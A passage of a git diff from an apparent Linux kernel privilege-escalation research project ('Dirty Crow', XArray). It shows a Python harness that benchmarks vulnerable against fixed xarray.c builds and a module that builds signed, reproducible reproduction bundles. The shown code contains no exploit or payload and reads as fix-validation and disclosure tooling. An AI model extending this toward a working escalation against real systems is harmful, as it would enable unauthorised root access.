-> str: + return hashlib.sha256(data).hexdigest() + + +def _word_path(path: Path) -> str: + resolved = path.resolve(strict=False).as_posix() + match = re.fullmatch(r"([A-Za-z]):/(.*)", resolved) + if match: + return f"/{match.group(1).lower()}/{match.group(2)}" + return resolved + + +def _msys_argument(argument: str) -> str: + if argument.startswith("-I"): + return "-I" + _word_path(Path(argument[2:])) + if re.match(r"^[A-Za-z]:[/\\]", argument): + return _word_path(Path(argument)) + return argument + + +def _run_process( + command: Sequence[str], + *, + cwd: Path, + timeout_seconds: int, +) -> subprocess.CompletedProcess[str]: + try: + return subprocess.run( + list(command), + cwd=cwd, + text=True, + capture_output=True, + timeout=timeout_seconds, + check=False, + ) + except OSError as exc: + raise BenchmarkError(f"cannot execute {command[0]}: {exc}") from exc + except subprocess.TimeoutExpired as exc: + raise BenchmarkError( + f"command timed out after {timeout_seconds}s: {command[0]}" + ) from exc + + +def _invoke( + compiler: _Compiler, + arguments: Sequence[str], + *, + cwd: Path, + timeout_seconds: int = 180, +) -> subprocess.CompletedProcess[str]: + if compiler.msys_bash is None: + return _run_process( + (str(compiler.executable), *arguments), + cwd=cwd, + timeout_seconds=timeout_seconds, + ) + command = ( + str(compiler.msys_bash), + "-lc", + 'export PATH=/usr/bin; cd "$1"; shift; exec "$@"', + "bash", + _word_path(cwd), + _word_path(compiler.executable), + *(_msys_argument(argument) for argument in arguments), + ) + return _run_process(command, cwd=cwd, timeout_seconds=timeout_seconds) + + +def _run_binary( + compiler: _Compiler, + executable: Path, + arguments: Sequence[str], + *, + cwd: Path, +) -> subprocess.CompletedProcess[str]: + if compiler.msys_bash is None: + command = (str(executable), *arguments) + else: + command = ( + str(compiler.msys_bash), + "-lc", + 'export PATH=/usr/bin; cd "$1"; shift; exec "$@"', + "bash", + _word_path(cwd), + _word_path(executable), + *arguments, + ) + return _run_process(command, cwd=cwd, timeout_seconds=180) + + +def _resolve_compiler(family: str, requested: str | None) -> _Compiler: + if requested: + candidate = Path(requested).expanduser() + if not candidate.is_absolute(): + found = shutil.which(requested) + if found is None: + raise BenchmarkError(f"{family} compiler not found: {requested}") + candidate = Path(found) + elif os.name == "nt" and Path(f"C:/msys64/usr/bin/{family}.exe").is_file(): + candidate = Path(f"C:/msys64/usr/bin/{family}.exe") + else: + found = shutil.which(family) + if found is None: + raise BenchmarkError(f"required {family} compiler was not found") + candidate = Path(found) + candidate = candidate.resolve(strict=True) + + msys_bash: Path | None = None + if os.name == "nt" and candidate.parent.as_posix().lower().endswith( + "/msys64/usr/bin" + ): + shell = candidate.with_name("bash.exe") + if not shell.is_file(): + raise BenchmarkError(f"MSYS2 shell missing beside compiler: {shell}") + msys_bash = shell + + provisional = _Compiler(family, candidate, "", msys_bash) + result = _invoke(provisional, ("--version",), cwd=Path.cwd(), timeout_seconds=30) + if result.returncode != 0: + raise BenchmarkError( + f"{family} --version failed with exit {result.returncode}: " + f"{result.stderr.strip()}" + ) + first_line = result.stdout.splitlines() + if not first_line: + raise BenchmarkError(f"{family} --version returned no version text") + return _Compiler(family, candidate, first_line[0].strip(), msys_bash) + + +def _kernel_sources(kernel_source: Path) -> _KernelSources: + root = kernel_source.expanduser().resolve(strict=True) + shared_root = root / "tools/testing/shared" + test_root = root / "tools/testing/radix-tree" + legacy_layout = not (shared_root / "xarray-shared.h").is_file() + paths = _KernelSources( + root=root, + xarray=root / "lib/xarray.c", + radix_tree=root / "lib/radix-tree.c", + shared_header=( + test_root / "xarray.c" + if legacy_layout + else shared_root / "xarray-shared.h" + ), + shared_linux=( + test_root / "linux.c" + if legacy_layout + else shared_root / "linux.c" + ), + test_header_dir=test_root, + tools_lib=root / "tools/lib", + tools_include=root / "tools/include", + arch_include=root / "tools/arch/x86/include", + kernel_include=root / "include", + kernel_lib=root / "lib", + autoconf=( + test_root / "generated/autoconf.h" + if legacy_layout + else shared_root / "autoconf.h" + ), + legacy_layout=legacy_layout, + ) + required = ( + paths.xarray, + paths.radix_tree, + paths.shared_header, + paths.shared_linux, + paths.test_header_dir / "test.h", + paths.tools_lib / "find_bit.c", + paths.tools_lib / "bitmap.c", + paths.autoconf, + ) + if not legacy_layout: + required += ( + paths.tools_lib / "slab.c", + paths.tools_lib / "hweight.c", + paths.tools_lib / "vsprintf.c", + ) + missing = [str(path) for path in required if not path.is_file()] + if missing: + raise BenchmarkError( + "kernel source is missing userspace XArray benchmark inputs: " + + ", ".join(missing) + ) + return paths + + +def _git_source(sources: _KernelSources, reference: str) -> bytes: + result = _run_process( + ("git", "show", f"{reference}:lib/xarray.c"), + cwd=sources.root, + timeout_seconds=60, + ) + if result.returncode != 0: + raise BenchmarkError( + f"cannot read lib/xarray.c from {reference!r}: {result.stderr.strip()}" + ) + return result.stdout.encode("utf-8") + + +def _fixed_source(vulnerable: bytes) -> bytes: + try: + text = vulnerable.decode("utf-8") + except UnicodeDecodeError as exc: + raise BenchmarkError("lib/xarray.c is not UTF-8 text") from exc + count = text.count(_OLD_TRANSITION) + if count != 1: + if _FIXED_TRANSITION in text: + raise BenchmarkError("baseline already contains the candidate fix") + raise BenchmarkError( + "candidate fix preimage occurs " + f"{count} times in baseline; expected exactly 1" + ) + return text.replace(_OLD_TRANSITION, _FIXED_TRANSITION).encode("utf-8") + + +def _radix_tree_userspace(source: bytes) -> bytes: + text = source.decode("utf-8") + text = re.sub(r"^static ", "", text, flags=re.MULTILINE) + text = text.replace("__always_inline ", "") + text = text.replace("inline ", "") + return text.encode("utf-8") + + +def _write_inputs( + directory: Path, + sources: _KernelSources, + vulnerable: bytes, + fixed: bytes, +) -> dict[str, Path]: + generated = directory / "generated" + generated.mkdir(parents=True) + (generated / "map-shift.h").write_text( + "#define XA_CHUNK_SHIFT 6\n", encoding="utf-8" + ) + (generated / "bit-length.h").write_text( + "#define CONFIG_64BIT 1\n#define CONFIG_PHYS_ADDR_T_64BIT 1\n", + encoding="utf-8", + ) + shutil.copyfile(sources.autoconf, generated / "autoconf.h") + + shim_root = directory / "compat" + for relative, content in _SHIMS.items(): + target = shim_root / relative + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(content, encoding="utf-8") + + vulnerable_path = directory / "xarray-vulnerable.c" + fixed_path = directory / "xarray-fixed.c" + vulnerable_path.write_bytes(vulnerable) + fixed_path.write_bytes(fixed) + if sources.legacy_layout: + (directory / "xarray-shared.h").write_text( + "#define XA_DEBUG\n" + "#include \n" + '#include "test.h"\n' + "#define module_init(x)\n" + "#define module_exit(x)\n" + "#define MODULE_AUTHOR(x)\n" + "#define MODULE_LICENSE(x)\n" + "#define dump_stack() assert(0)\n", + encoding="utf-8", + ) + else: + shutil.copyfile(sources.shared_header, directory / "xarray-shared.h") + for variant in ("vulnerable", "fixed"): + (directory / f"wrapper-{variant}.c").write_text( + '#include "xarray-shared.h"\n' f'#include "xarray-{variant}.c"\n', + encoding="utf-8", + ) + + radix_path = directory / "radix-tree.c" + radix_path.write_bytes(_radix_tree_userspace(sources.radix_tree.read_bytes())) + benchmark_source = Path(__file__).with_name("xarray_fix_benchmark.c") + rcu_source = Path(__file__).with_name("xarray_fake_urcu.c") + if not benchmark_source.is_file() or not rcu_source.is_file(): + raise BenchmarkError("packaged XArray benchmark C sources are missing") + shutil.copyfile(benchmark_source, directory / benchmark_source.name) + shutil.copyfile(rcu_source, directory / rcu_source.name) + return { + "compat": shim_root, + "radix_tree": radix_path, + "benchmark": directory / benchmark_source.name, + "rcu": directory / rcu_source.name, + } + + +def _compile_one( + compiler: _Compiler, + arguments: Sequence[str], + *, + cwd: Path, + label: str, +) -> dict[str, object]: + result = _invoke(compiler, arguments, cwd=cwd) + if result.returncode != 0: + tail = "\n".join(result.stderr.splitlines()[-40:]) + raise BenchmarkError( + f"{compiler.family} {label} failed with exit {result.returncode}:\n{tail}" + ) + warning_lines = [line for line in result.stderr.splitlines() if "warning:" in line] + return { + "step": label, + "stderr_sha256": _sha256(result.stderr.encode("utf-8")), + "warning_count": len(warning_lines), + } + + +def _build_variants( + compiler: _Compiler, + directory: Path, + sources: _KernelSources, + inputs: dict[str, Path], +) -> tuple[dict[str, Path], list[dict[str, object]], list[str]]: + compiler_dir = directory / compiler.family + compiler_dir.mkdir() + include_paths = ( + inputs["compat"], + directory, + sources.shared_linux.parent, + sources.test_header_dir, + sources.tools_include, + sources.arch_include, + sources.kernel_lib, + sources.kernel_include, + ) + flags = ( + "-std=gnu2x", + "-D_POSIX_C_SOURCE=200809L", + "-D_LGPL_SOURCE", + "-O3", + "-DNDEBUG", + "-Wall", + *(f"-I{path}" for path in include_paths), + ) + if sources.legacy_layout: + common_sources = { + "radix-tree": inputs["radix_tree"], + "linux": sources.shared_linux, + "test": sources.test_header_dir / "test.c", + "find_bit": sources.tools_lib / "find_bit.c", + "bitmap": sources.test_header_dir / "bitmap.c", + "fake-urcu": inputs["rcu"], + "benchmark": inputs["benchmark"], + } + else: + common_sources = { + "radix-tree": inputs["radix_tree"], + "linux": sources.shared_linux, + "slab": sources.tools_lib / "slab.c", + "find_bit": sources.tools_lib / "find_bit.c", + "bitmap": sources.tools_lib / "bitmap.c", + "hweight": sources.tools_lib / "hweight.c", + "vsprintf": sources.tools_lib / "vsprintf.c", + "fake-urcu": inputs["rcu"], + "benchmark": inputs["benchmark"], + } + logs: list[dict[str, object]] = [] + common_objects: list[Path] = [] + for name, source in common_sources.items(): + target = compiler_dir / f"{name}.o" + logs.append( + _compile_one( + compiler, + (*flags, "-c", str(source), "-o", str(target)), + cwd=directory, + label=f"compile {name}", + ) + ) + common_objects.append(target) + + executables: dict[str, Path] = {} + suffix = ".exe" if os.name == "nt" else "" + for variant in ("vulnerable", "fixed"): + variant_object = compiler_dir / f"xarray-{variant}.o" + logs.append( + _compile_one( + compiler, + ( + *flags, + "-c", + str(directory / f"wrapper-{variant}.c"), + "-o", + str(variant_object), + ), + cwd=directory, + label=f"compile {variant} XArray", + ) + ) + executable = compiler_dir / f"xarray-{variant}{suffix}" + logs.append( + _compile_one( + compiler, + ( + "-O3", + "-o", + str(executable), + str(variant_object), + *(str(path) for path in common_objects), + "-lpthread", + ), + cwd=directory, + label=f"link {variant} benchmark", + ) + ) + executables[variant] = executable + return executables, logs, list(flags[:6]) + + +def _parse_sample(output: str) -> list[dict[str, int | str]]: + records: list[dict[str, int | str]] = [] + for line in output.splitlines(): + if not line.strip(): + continue + try: + value = json.loads(line) + except json.JSONDecodeError as exc: + raise BenchmarkError(f"benchmark emitted invalid JSON: {line!r}") from exc + if not isinstance(value, dict): + raise BenchmarkError("benchmark sample is not a JSON object") + scenario = value.get("scenario") + if scenario not in _SCENARIOS: + raise BenchmarkError(f"benchmark emitted unknown scenario: {scenario!r}") + record: dict[str, int | str] = {"scenario": str(scenario)} + for field in ("sample", "loops", "elapsed_ns", "checksum"): + item = value.get(field) + if isinstance(item, bool) or not isinstance(item, int) or item < 0: + raise BenchmarkError(f"benchmark field {field!r} is not non-negative") + record[field] = item + records.append(record) + observed = [str(record["scenario"]) for record in records] + if observed != list(_SCENARIOS): + raise BenchmarkError( + f"benchmark scenario sequence is {observed!r}; expected {list(_SCENARIOS)!r}" + ) + return records + + +def _measure( + compiler: _Compiler, + executables: dict[str, Path], + *, + directory: Path, + samples: int, +) -> list[dict[str, object]]: + records: list[dict[str, object]] = [] + for repetition in range(samples): + order = ("vulnerable", "fixed") + if repetition % 2: + order = tuple(reversed(order)) + for order_index, variant in enumerate(order): + result = _run_binary( + compiler, + executables[variant], + ("1",), + cwd=directory, + ) + if result.returncode != 0: + raise BenchmarkError( + f"{compiler.family} {variant} benchmark exited " + f"{result.returncode}: {result.stderr.strip()}" + ) + parsed = _parse_sample(result.stdout) + for sample in parsed: + records.append( + { + **sample, + "compiler": compiler.family, + "variant": variant, + "repetition": repetition, + "order": order_index, + } + ) + return records + + +def _distribution(values: list[int]) -> dict[str, object]: + median = statistics.median(values) + deviations = [abs(value - median) for value in values] + return { + "sample_count": len(values), + "minimum_ns": min(values), + "median_ns": median, + "maximum_ns": max(values), + "median_absolute_deviation_ns": statistics.median(deviations), + "raw_ns": values, + } + + +def _summarize( + records: list[dict[str, object]], compilers: Sequence[_Compiler] +) -> tuple[list[dict[str, object]], dict[str, object], dict[str, object]]: + measurements: list[dict[str, object]] = [] + checksum_failures: list[dict[str, object]] = [] + ratios: list[float] = [] + deltas: list[float] = [] + + for compiler in compilers: + for scenario in _SCENARIOS: + by_variant: dict[str, list[dict[str, object]]] = {} + for variant in ("vulnerable", "fixed"): + selected = [ + record + for record in records + if record["compiler"] == compiler.family + and record["variant"] == variant + and record["scenario"] == scenario + ] + by_variant[variant] = selected + checksums = {int(record["checksum"]) for record in selected} + loops = {int(record["loops"]) for record in selected} + if len(checksums) != 1 or len(loops) != 1: + checksum_failures.append( + { + "compiler": compiler.family, + "scenario": scenario, + "variant": variant, + "checksums": sorted(checksums), + "loops": sorted(loops), + } + ) + vulnerable_checksum = {int(r["checksum"]) for r in by_variant["vulnerable"]} + fixed_checksum = {int(r["checksum"]) for r in by_variant["fixed"]} + if vulnerable_checksum != fixed_checksum: + checksum_failures.append( + { + "compiler": compiler.family, + "scenario": scenario, + "variant": "cross-variant", + "vulnerable_checksums": sorted(vulnerable_checksum), + "fixed_checksums": sorted(fixed_checksum), + } + ) + + vulnerable_values = [ + int(record["elapsed_ns"]) for record in by_variant["vulnerable"] + ] + fixed_values = [int(record["elapsed_ns"]) for record in by_variant["fixed"]] + vulnerable_stats = _distribution(vulnerable_values) + fixed_stats = _distribution(fixed_values) + ratio = float(fixed_stats["median_ns"]) / float( + vulnerable_stats["median_ns"] + ) + delta = (ratio - 1.0) * 100.0 + ratios.append(ratio) + deltas.append(delta) + measurements.append( + { + "compiler": compiler.family, + "scenario": scenario, + "loops_per_sample": int(by_variant["fixed"][0]["loops"]), + "checksum": int(by_variant["fixed"][0]["checksum"]), + "vulnerable": vulnerable_stats, + "fixed": fixed_stats, + "fixed_over_vulnerable_ratio": round(ratio, 9), + "fixed_median_delta_percent": round(delta, 6), + } + ) + + compatibility = { + "passed": not checksum_failures, + "compiler_families": sorted(compiler.family for compiler in compilers), + "scenario_count": len(_SCENARIOS), + "checks": [ + "all benchmark processes terminated normally", + "vulnerable and fixed checksums match per compiler and scenario", + "repeated checksums and loop counts are deterministic", + "marked, sibling-backed multi-index, restart, and bounds paths execute", + ], + "failures": checksum_failures, + } + performance = { + "measured": True, + "gate": "informational; no arbitrary regression threshold is imposed", + "comparison_count": len(measurements), + "geometric_mean_fixed_over_vulnerable_ratio": round( + math.exp(statistics.fmean(math.log(ratio) for ratio in ratios)), 9 + ), + "largest_fixed_median_regression_percent": round(max(deltas), 6), + "largest_fixed_median_improvement_percent": round(min(deltas), 6), + } + return measurements, compatibility, performance + + +def run_fix_benchmark( + kernel_source: Path, + *, + baseline_ref: str = "HEAD", + samples: int = 9, + gcc: str | None = None, + clang: str | None = None, +) -> dict[str, object]: + """Compile and measure vulnerable/fixed XArray source with GCC and Clang.""" + if ( + isinstance(samples, bool) + or not isinstance(samples, int) + or not 3 <= samples <= 31 + ): + raise BenchmarkError("samples must be an integer in [3, 31]") + if not baseline_ref or baseline_ref.isspace(): + raise BenchmarkError("baseline_ref must not be empty") + + sources = _kernel_sources(kernel_source) + vulnerable = _git_source(sources, baseline_ref) + fixed = _fixed_source(vulnerable) + compilers = ( + _resolve_compiler("gcc", gcc), + _resolve_compiler("clang", clang), + ) + + with tempfile.TemporaryDirectory(prefix="dirty-crow-xarray-benchmark-") as temp: + directory = Path(temp) + inputs = _write_inputs(directory, sources, vulnerable, fixed) + build_reports: list[dict[str, object]] = [] + records: list[dict[str, object]] = [] + compile_flags: list[str] = [] + for compiler in compilers: + executables, logs, flags = _build_variants( + compiler, directory, sources, inputs + ) + build_reports.append( + { + "family": compiler.family, + "executable": str(compiler.executable), + "version": compiler.version, + "steps": logs, + } + ) + compile_flags = flags + records.extend( + _measure( + compiler, + executables, + directory=directory, + samples=samples, + ) + ) + + measurements, compatibility, performance = _summarize(records, compilers) + passed = bool(compatibility["passed"]) and performance["measured"] + return { + "schema_version": _SCHEMA_VERSION, + "benchmark": "XArray xas_find candidate-fix compatibility and performance", + "passed": passed, + "scope": { + "execution": "optimized userspace build of the Linux XArray implementation", + "architecture": "x86-64", + "xarray_chunk_shift": 6, + "baseline_ref": baseline_ref, + "limitation": ( + "page_cache_scan and page_cache_fault_lookup exercise the XArray " + "lookup portions of filemap paths; they do not measure VFS, storage, " + "hardware page-fault, concurrency, or whole-kernel latency" + ), + }, + "source": { + "kernel_tree": str(sources.root), + "vulnerable_sha256": _sha256(vulnerable), + "fixed_sha256": _sha256(fixed), + "candidate_transform_occurrences": 1, + "benchmark_sha256": _sha256( + Path(__file__).with_name("xarray_fix_benchmark.c").read_bytes() + ), + }, + "host": { + "system": platform.system(), + "release": platform.release(), + "machine": platform.machine(), + }, + "builds": build_reports, + "compile_flags": compile_flags, + "sampling": { + "samples_per_variant": samples, + "interleaving": "alternating vulnerable/fixed process order", + "clock": "CLOCK_MONOTONIC", + "warmup": "one untimed scenario call in every process", + }, + "compatibility": compatibility, + "performance": performance, + "measurements": measurements, + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/bundle.py b/dirty-crow-xarray-lpe/framework/dirtycrow/bundle.py new file mode 100644 index 0000000..2ba1fed --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/bundle.py @@ -0,0 +1,515 @@ +from __future__ import annotations + +from dataclasses import dataclass +from datetime import datetime +import gzip +import hashlib +import io +import json +import os +from pathlib import Path, PurePosixPath +import re +import shutil +import tarfile +import tempfile +from typing import Mapping + +from .evidence import verify_manifest +from .signing import sign_with_minisign, verify_minisign_signature +from .strictjson import ( + expect_int, + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, + write_json_atomic, +) + + +class BundleError(ValueError): + pass + + +_RELEASE_ID = re.compile(r"[A-Za-z0-9][A-Za-z0-9._-]{0,95}\Z") +_ROLE = re.compile(r"[a-z][a-z0-9_-]{0,47}\Z") +_CREATED_UTC = re.compile(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z\Z") +_WINDOWS_HOST_PATH = re.compile(r"(? str: + text = expect_string(value, field, BundleError) + pure = PurePosixPath(text) + if pure.is_absolute() or not pure.parts or ".." in pure.parts: + raise BundleError(f"{field} must be a relative portable path") + normalized = pure.as_posix() + if normalized != text or "\\" in text: + raise BundleError(f"{field} must use normalized forward slashes") + if normalized in _RESERVED_PATHS: + raise BundleError(f"{field} uses a reserved bundle path") + return normalized + + +def _parse_created_utc(value: object) -> tuple[str, int]: + text = expect_string(value, "created_utc", BundleError) + if _CREATED_UTC.fullmatch(text) is None: + raise BundleError("created_utc must use YYYY-MM-DDTHH:MM:SSZ") + parsed = datetime.fromisoformat(text.removesuffix("Z") + "+00:00") + return text, int(parsed.timestamp()) + + +def _parse_target(value: object) -> dict[str, object]: + payload = expect_object(value, "target", BundleError) + expect_keys( + payload, + "target", + required={ + "distribution", + "kernel_release", + "architecture", + "page_size", + "kernel_sha256", + "initramfs_sha256", + }, + error_type=BundleError, + ) + return { + "distribution": expect_string( + payload["distribution"], "target.distribution", BundleError + ), + "kernel_release": expect_string( + payload["kernel_release"], "target.kernel_release", BundleError + ), + "architecture": expect_string( + payload["architecture"], "target.architecture", BundleError + ), + "page_size": expect_int( + payload["page_size"], "target.page_size", 4096, 65536, BundleError + ), + "kernel_sha256": expect_sha256( + payload["kernel_sha256"], "target.kernel_sha256", BundleError + ), + "initramfs_sha256": expect_sha256( + payload["initramfs_sha256"], "target.initramfs_sha256", BundleError + ), + } + + +def _parse_geometry(value: object) -> dict[str, object]: + payload = expect_object(value, "geometry", BundleError) + expect_keys( + payload, + "geometry", + required={ + "qemu_version", + "machine", + "acceleration", + "cpu", + "cpus", + "memory_mib", + "boot_append", + }, + error_type=BundleError, + ) + return { + "qemu_version": expect_string( + payload["qemu_version"], "geometry.qemu_version", BundleError + ), + "machine": expect_string(payload["machine"], "geometry.machine", BundleError), + "acceleration": expect_string( + payload["acceleration"], "geometry.acceleration", BundleError + ), + "cpu": expect_string(payload["cpu"], "geometry.cpu", BundleError), + "cpus": expect_int(payload["cpus"], "geometry.cpus", 1, 256, BundleError), + "memory_mib": expect_int( + payload["memory_mib"], "geometry.memory_mib", 256, 1048576, BundleError + ), + "boot_append": expect_string( + payload["boot_append"], "geometry.boot_append", BundleError + ), + } + + +def load_bundle_profile(profile_path: Path, root: Path) -> BundleProfile: + profile_path = profile_path.resolve(strict=True) + root = root.resolve(strict=True) + payload = load_object(profile_path, BundleError) + expect_keys( + payload, + "profile", + required={ + "schema_version", + "release_id", + "title", + "created_utc", + "target", + "geometry", + "expected_markers", + "files", + "boundary", + }, + error_type=BundleError, + ) + if payload["schema_version"] != 1: + raise BundleError("unsupported bundle profile schema") + release_id = expect_string(payload["release_id"], "release_id", BundleError) + if _RELEASE_ID.fullmatch(release_id) is None: + raise BundleError("release_id must match [A-Za-z0-9][A-Za-z0-9._-]{0,95}") + created_utc, epoch = _parse_created_utc(payload["created_utc"]) + + marker_values = expect_list(payload["expected_markers"], "expected_markers", BundleError) + if not marker_values: + raise BundleError("expected_markers must not be empty") + markers = tuple( + expect_string(value, f"expected_markers[{index}]", BundleError) + for index, value in enumerate(marker_values) + ) + if len(set(markers)) != len(markers): + raise BundleError("expected_markers contains duplicates") + + file_values = expect_list(payload["files"], "files", BundleError) + if not file_values: + raise BundleError("files must not be empty") + files: list[BundleFile] = [] + destinations: set[str] = set() + for index, value in enumerate(file_values): + entry = expect_object(value, f"files[{index}]", BundleError) + expect_keys( + entry, + f"files[{index}]", + required={"source", "path", "role", "sha256", "executable"}, + error_type=BundleError, + ) + destination = _safe_destination(entry["path"], f"files[{index}].path") + if destination in destinations: + raise BundleError(f"duplicate bundle path: {destination}") + destinations.add(destination) + role = expect_string(entry["role"], f"files[{index}].role", BundleError) + if _ROLE.fullmatch(role) is None: + raise BundleError(f"files[{index}].role is invalid") + executable = entry["executable"] + if not isinstance(executable, bool): + raise BundleError(f"files[{index}].executable must be boolean") + source = resolve_beneath_file( + root, entry["source"], f"files[{index}].source", BundleError + ) + expected = expect_sha256( + entry["sha256"], f"files[{index}].sha256", BundleError + ) + actual = sha256_file(source) + if actual != expected: + raise BundleError( + f"files[{index}] SHA-256 mismatch for {entry['source']}: " + f"expected {expected}, got {actual}" + ) + files.append(BundleFile(source, destination, role, expected, executable)) + + return BundleProfile( + source=profile_path, + release_id=release_id, + title=expect_string(payload["title"], "title", BundleError), + created_utc=created_utc, + epoch=epoch, + target=_parse_target(payload["target"]), + geometry=_parse_geometry(payload["geometry"]), + expected_markers=markers, + files=tuple(sorted(files, key=lambda item: item.destination)), + boundary=expect_string(payload["boundary"], "boundary", BundleError), + ) + + +def _reject_machine_paths(path: Path, destination: str) -> None: + if path.suffix.lower() not in _TEXT_SUFFIXES: + return + try: + text = path.read_text(encoding="utf-8") + except UnicodeDecodeError as error: + raise BundleError(f"text bundle input is not UTF-8: {destination}") from error + match = ( + _WINDOWS_HOST_PATH.search(text) + or _USER_HOME_PATH.search(text) + or _WSL_USER_PATH.search(text) + ) + if match: + raise BundleError( + f"machine-specific absolute path in {destination}: {match.group(0)}" + ) + + +def _manifest_hash(payload: Mapping[str, object]) -> str: + rendered = json.dumps(payload, sort_keys=True, separators=(",", ":")) + return hashlib.sha256(rendered.encode("utf-8")).hexdigest() + + +def _copy_payload(profile: BundleProfile, stage: Path, public_key: Path) -> list[dict[str, object]]: + records: list[dict[str, object]] = [] + for item in profile.files: + _reject_machine_paths(item.source, item.destination) + destination = stage / Path(*PurePosixPath(item.destination).parts) + destination.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(item.source, destination) + destination.chmod(0o755 if item.executable else 0o644) + os.utime(destination, (profile.epoch, profile.epoch)) + records.append( + { + "path": item.destination, + "role": item.role, + "size": destination.stat().st_size, + "sha256": item.expected_sha256, + "executable": item.executable, + } + ) + + public_destination = stage / "dirty-crow-release.pub" + shutil.copyfile(public_key, public_destination) + public_destination.chmod(0o644) + os.utime(public_destination, (profile.epoch, profile.epoch)) + records.append( + { + "path": "dirty-crow-release.pub", + "role": "release_public_key", + "size": public_destination.stat().st_size, + "sha256": sha256_file(public_destination), + "executable": False, + } + ) + return sorted(records, key=lambda record: str(record["path"])) + + +def _tar_info(name: str, *, mode: int, size: int, epoch: int, directory: bool) -> tarfile.TarInfo: + info = tarfile.TarInfo(name + ("/" if directory and not name.endswith("/") else "")) + info.type = tarfile.DIRTYPE if directory else tarfile.REGTYPE + info.mode = mode + info.uid = 0 + info.gid = 0 + info.uname = "" + info.gname = "" + info.mtime = epoch + info.size = 0 if directory else size + return info + + +def _create_archive( + stage: Path, + release_id: str, + archive: Path, + epoch: int, + executable_paths: frozenset[str], +) -> None: + paths = sorted( + stage.rglob("*"), + key=lambda path: (path.relative_to(stage).as_posix(), not path.is_dir()), + ) + with archive.open("xb") as raw: + with gzip.GzipFile( + filename="", mode="wb", fileobj=raw, compresslevel=9, mtime=epoch + ) as compressed: + with tarfile.open( + fileobj=compressed, mode="w", format=tarfile.USTAR_FORMAT + ) as bundle: + bundle.addfile( + _tar_info( + release_id, + mode=0o755, + size=0, + epoch=epoch, + directory=True, + ) + ) + for path in paths: + relative = path.relative_to(stage).as_posix() + name = f"{release_id}/{relative}" + if path.is_dir(): + bundle.addfile( + _tar_info( + name, + mode=0o755, + size=0, + epoch=epoch, + directory=True, + ) + ) + continue + data = path.read_bytes() + mode = 0o755 if relative in executable_paths else 0o644 + bundle.addfile( + _tar_info( + name, + mode=mode, + size=len(data), + epoch=epoch, + directory=False, + ), + fileobj=io.BytesIO(data), + ) + + +def build_reproduction_bundle( + profile_path: Path, + root: Path, + output_dir: Path, + secret_key: Path, + public_key: Path, + *, + minisign: Path | str = "minisign", +) -> dict[str, object]: + profile = load_bundle_profile(profile_path, root) + secret_key = secret_key.resolve(strict=True) + public_key = public_key.resolve(strict=True) + if secret_key == public_key: + raise BundleError("secret and public key paths must differ") + + output_dir = output_dir.resolve() + output_dir.mkdir(parents=True, exist_ok=True) + final_stage = output_dir / profile.release_id + final_archive = output_dir / f"{profile.release_id}.tar.gz" + final_archive_signature = output_dir / f"{profile.release_id}.tar.gz.minisig" + if final_stage.exists() or final_archive.exists() or final_archive_signature.exists(): + raise BundleError("refusing to overwrite an existing release bundle") + + temporary_root = Path( + tempfile.mkdtemp(prefix=f".{profile.release_id}.", dir=output_dir) + ) + temporary_stage = temporary_root / profile.release_id + temporary_archive = temporary_root / f"{profile.release_id}.tar.gz" + temporary_archive_signature = temporary_root / f"{profile.release_id}.tar.gz.minisig" + try: + temporary_stage.mkdir() + records = _copy_payload(profile, temporary_stage, public_key) + manifest: dict[str, object] = { + "schema_version": 2, + "title": profile.title, + "release_id": profile.release_id, + "created_utc": profile.created_utc, + "target": dict(profile.target), + "geometry": dict(profile.geometry), + "expected_markers": list(profile.expected_markers), + "files": records, + "boundary": profile.boundary, + "closed_world": True, + } + manifest["canonical_payload_sha256"] = _manifest_hash(manifest) + manifest_path = temporary_stage / "MANIFEST.json" + write_json_atomic(manifest_path, manifest) + manifest_path.chmod(0o644) + os.utime(manifest_path, (profile.epoch, profile.epoch)) + manifest_signature = temporary_stage / "MANIFEST.json.minisig" + sign_with_minisign( + manifest_path, + manifest_signature, + secret_key, + public_key, + trusted_comment=f"Dirty Crow {profile.release_id} manifest", + minisign=minisign, + ) + manifest_signature.chmod(0o644) + os.utime(manifest_signature, (profile.epoch, profile.epoch)) + + _create_archive( + temporary_stage, + profile.release_id, + temporary_archive, + profile.epoch, + frozenset( + item.destination for item in profile.files if item.executable + ), + ) + sign_with_minisign( + temporary_archive, + temporary_archive_signature, + secret_key, + public_key, + trusted_comment=f"Dirty Crow {profile.release_id} reproduction bundle", + minisign=minisign, + ) + + temporary_stage.replace(final_stage) + temporary_archive.replace(final_archive) + temporary_archive_signature.replace(final_archive_signature) + finally: + shutil.rmtree(temporary_root, ignore_errors=True) + + final_manifest = final_stage / "MANIFEST.json" + final_manifest_signature = final_stage / "MANIFEST.json.minisig" + manifest_verification = verify_minisign_signature( + final_manifest, + final_manifest_signature, + final_stage / "dirty-crow-release.pub", + minisign=minisign, + ) + archive_verification = verify_minisign_signature( + final_archive, + final_archive_signature, + public_key, + minisign=minisign, + ) + manifest_integrity = verify_manifest(final_manifest, final_stage) + if not manifest_integrity["passed"]: + raise BundleError( + "generated manifest failed integrity or completeness validation" + ) + return { + "schema_version": 1, + "title": "Dirty Crow independent reproduction bundle", + "passed": True, + "release_id": profile.release_id, + "bundle_directory": str(final_stage), + "manifest": { + "path": str(final_manifest), + "sha256": manifest_verification["artifact_sha256"], + "signature": str(final_manifest_signature), + "signature_sha256": manifest_verification["signature_sha256"], + }, + "manifest_verification": manifest_integrity, + "archive": { + "path": str(final_archive), + "size": final_archive.stat().st_size, + "sha256": archive_verification["artifact_sha256"], + "signature": str(final_archive_signature), + "signature_sha256": archive_verification["signature_sha256"], + }, + "public_key": { + "path": str(final_stage / "dirty-crow-release.pub"), + "sha256": manifest_verification["public_key_sha256"], + }, + "file_count": len(records), + "offline_verification": [ + "minisign -V -p dirty-crow-release.pub -m MANIFEST.json -x MANIFEST.json.minisig", + f"minisign -V -p dirty-crow-release.pub -m {profile.release_id}.tar.gz -x {profile.release_id}.tar.gz.minisig", + ], + "boundary": "The signed bundle is byte-reproducible for these inputs. Runtime findings remain limited to the exact target and geometry in MANIFEST.json.", + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/candidates.py b/dirty-crow-xarray-lpe/framework/dirtycrow/candidates.py new file mode 100644 index 